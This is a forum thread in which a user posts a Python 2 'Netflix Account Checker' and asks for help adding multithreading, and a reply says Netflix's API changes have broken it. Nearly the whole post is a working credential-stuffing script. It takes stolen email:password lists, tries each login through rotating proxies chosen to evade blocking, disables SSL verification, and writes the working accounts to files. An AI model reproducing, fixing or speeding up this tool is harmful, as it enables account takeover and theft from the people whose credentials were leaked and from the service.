chevron_left chevron_right
Login Register invert_colors photo_library


Upgrade your account to hide advertisements.

Something broken? Have suggestions? Visit the Suggestions section.
Thread Rating:
  • 0 Vote(s) - 0 Average


filter_list Netflix Checker help
Author
Message
Netflix Checker help #1
So I came across this code for a python checker for netflix. It seems to be pretty robust, but could be better by adding multithreading to it. Does anyone know how to do that? Also there's a bit of a hitch in the code that spills out an unknown error 7. Would love some guidance from you rockstars.

-oops!
Code:
#!/usr/bin/python

from __future__ import division
from progressbar import ProgressBar
from mechanize import Browser
from os import path
from random import randint
from time import sleep
import ssl, progressbar
from mechanize._form import SubmitControl, ScalarControl

debug = False
working=[]
dead=[]
notActive=[]
br = Browser()
ssl._create_default_https_context = ssl._create_unverified_context

def __init__(self, type, name, attrs, index=None):
    ScalarControl.__init__(self, type, name, attrs, index)
    # IE5 defaults SUBMIT value to "Submit Query"; Firebird 0.6 leaves it
    # blank, Konqueror 3.1 defaults to "Submit".  HTML spec. doesn't seem
    # to define this.
    if self.value is None:
        if self.disabled:
            self.disabled = False
            self.value = ""
            self.disabled = True
        else:
            self.value = ""
    self.readonly = True

SubmitControl.__init__ = __init__

def testAccount(email,password,country):
            global currentProxy
            global br
            global debug

            activeURL = 'https://www.netflix.com/browse'
            logoutURL = 'https://www.netflix.com/SignOut?lnkctr=mL'
            page = 'Sorry, we are unable to process your request.'
            while (page.find('Sorry, we are unable to process your request.') != -1):
                try:
                    getProxyType(country)
                    loginURL = 'https://www.netflix.com/login'
                    br.set_handle_equiv(True)
                    br.set_handle_redirect(True)
                    br.set_handle_referer(True)
                    br.set_handle_robots(False)
                    br.addheaders = [('User-agent', 'Firefox')]
                    if (currentProxy != ''):
                        if (country != 'HTTP'):
                            br.set_proxies({"socks5": currentProxy})
                        else:
                            br.set_proxies({"HTTP": currentProxy})
                        if (debug):
                            print 'Trying proxy: '+currentProxy
                    else:
                        br.set_proxies()
                    br.open(loginURL)
                    br.select_form(nr=0)
                    br.form['email'] = email
                    br.form['password'] = password
                    if (debug):
                        print 'Testing account: '+email
                    response = br.submit()
            
                    if (response.code == 200):
                        page = response.read()
                        if (page.find('Sorry, we are unable to process your request.') != -1):
                            if (debug):
                                print 'Proxy Blocked - Trying new proxy (1)'
                        elif (response.geturl().find('browse') != -1):
                            if (debug):
                                print 'Account Working! - '+email
                                print ''
                            br.open(logoutURL)
                            working.append(email+':'+password+'\n')
                        elif (page.find('Finish Sign-up') != -1):
                            if (debug):
                                print 'No Active Subscription (4)'
                                print ''
                            br.open(logoutURL)
                            notActive.append(email+':'+password)
                        elif (response.geturl().find('getstarted') != -1):
                            if (debug):
                                print 'No Active Subscription (5)'
                                print ''
                            br.open(logoutURL)
                            notActive.append(email+':'+password)
                        elif (response.code == 500):
                            if (debug):
                                print 'Bad Gateway!, Retrying with new proxy (6)'
                                print ''
                            errorFile = open('/root/Desktop/Scrapers/netflix/error.txt', 'a+')
                            errorFile.write('500-Bad Gateway: currentProxy')
                            errorFile.close()
                        elif (page.find('Incorrect password') != -1):
                            if (debug):
                                print 'Account Dead! (2)'
                                print ''
                            dead.append(email+':'+password)
                        elif (page.find('find an account with this email address.') != -1):
                            if (debug):
                                print 'Account Dead! (3)'
                                print ''
                            dead.append(email+':'+password)
                        else:
                            print 'Unknown Error. (7)'
                            errorFile = open('error.txt', 'a+')
                            errorFile.write(response.geturl()+'\n'+page)
                            errorFile.close()
                    else:
                        print 'Error: '+str(response.code)+' Trying again.'
                except Exception, errorMsg:
                    if (debug):
                        print errorMsg
                        print 'Bad proxy or not connected to the internet. (8)'
                        print 'Retrying in 3 seconds.'
                        print ''
                    print response.geturl().find('getstarted')
                    errorFile = open('/root/Desktop/Scrapers/netflix/error.txt', 'a+')
                    errorFile.write(response.geturl()+'\n'+page)
                    errorFile.close()    
                    br.open(logoutURL)
                    sleep(3)

def writeToFile():
    global working
    global dead
    global notActive

    workingAccounts = open('/root/Desktop/Scrapers/netflix/workingAccounts.txt', 'w+')
    deadAccounts = open('/root/Desktop/Scrapers/netflix/deadAccounts.txt', 'w+')
    nonActiveFile = open('/root/Desktop/Scrapers/netflix/notActive.txt', 'w+')
    for all in working:
        workingAccounts.write(all)
    for all in dead:
        deadAccounts.write(all)
    for all in notActive:
        nonActiveFile.write(all)
    workingAccounts.close()
    deadAccounts.close()
    nonActiveFile.close()
    print ''
    print 'Summary:'
    print '--------'
    print ''
    print 'Working accounts: ' + str(len(working))
    print 'Inactive Accounts: '+ str(len(notActive))
    print 'Dead accounts: ' + str(len(dead))
    print ''

def getProxyType(country):
    if ('AU' == country):
        proxies('AU')
    elif ('CA' == country):
        proxies('CA')
    elif ('CO' == country):
        proxies('CO')
    elif ('DK' == country):
        proxies('DK')
    elif ('GB' == country):
        proxies('GB')
    elif ('MX' == country):
        proxies('MX')
    elif ('NL' == country):
        proxies('NL')
    elif ('US' == country):
        proxies('US')
    elif ('HTTP' == country):
        proxies('HTTP')
    elif ('Default' == country):
        proxies('Default')    
    else:
        if (debug):        
            print 'Country '+country+' not in list. Let me know ill update the list :)'
            print 'Default proxy being used.'
        proxies('Default')

def proxies(country):
    global currentProxy
    proxyFile = "/root/Desktop/Scrapers/netflix/proxy-"+country+".txt"

    if (path.exists(proxyFile) and path.getsize(proxyFile) > 0):
        lines = open(proxyFile, "r")
        filestream = open(proxyFile, "r")
        randomProxyID = randint(0,sum(1 for row in lines) - 1)
        for proxyID, proxy in enumerate(filestream):
            if (proxyID == randomProxyID):
                currentProxy = proxy
                break
        filestream.close()
    else:
        if (debug):
            print 'No proxies in '+country+' proxy list.\nNo proxy set.'
        currentProxy = ''

def main():  
    global debug
    global working
    global dead

    print ''
    print '########################################################'
    print '####     Netflix Account Checker - Proxy Support    ####'
    print '####              Coded by fl33y0uf00l              ####'
    print '####                                                ####'
    print '####               Version 0.4 beta                 ####'
    print '########################################################'
    print ''

    try:
        if (debug):
            print 'Fetching accounts'
        accounts = '/root/Desktop/Scrapers/netflix/checkAccounts.txt'
        if (path.exists(accounts) and path.getsize(accounts) > 0):
            if (debug):
                print 'Accounts file is not empty.'
            else:
                progress = 0
                maxValue = sum(1 for acc in open(accounts))
                pbar = ProgressBar(maxval=maxValue).start()
            with open(accounts, "r") as filestream:
                for line in filestream:
                    if (not debug):
                        pbar.update(progress)
                        progress += 1
                    accountArgument = line.split(':')
                    args = len(accountArgument)
                    if (debug):
                        print 'Number of Account arguments: %d' % args
                    if (args == 3 or args == 2):
                        email = accountArgument[0]
                        password = accountArgument[1]
                        if (debug):
                            print 'Opened accounts file, arguments:'
                            print email
                            print password
                        if (args == 3):
                            country = accountArgument[2].rstrip()
                        else:
                            if (debug):
                                print 'No country included with account details.'
                            country = 'Default'
                        testAccount(email,password,country)
                    else:
                        print 'Account List is not formatted properly.'
            if (not debug):
                pbar.finish()
            writeToFile()
        else:
            print 'Accounts file is empty!'
            print ''
    except Exception, errorMsg:
        print ''
        print errorMsg
        print 'An error occurred.. Saving progress...'
        print ''
        writeToFile()

if __name__ == "__main__":
  main()

Reply

RE: Netflix Checker help #2
The reason you are getting this error is because Netflix updated their API.
(you won't get any working account using this)
I plan on making a Netflix checker one of these days, I'll let you know Smile
(This post was last modified: 12-27-2017, 02:39 AM by Oblivious.)

Reply






Users browsing this thread: 1 Guest(s)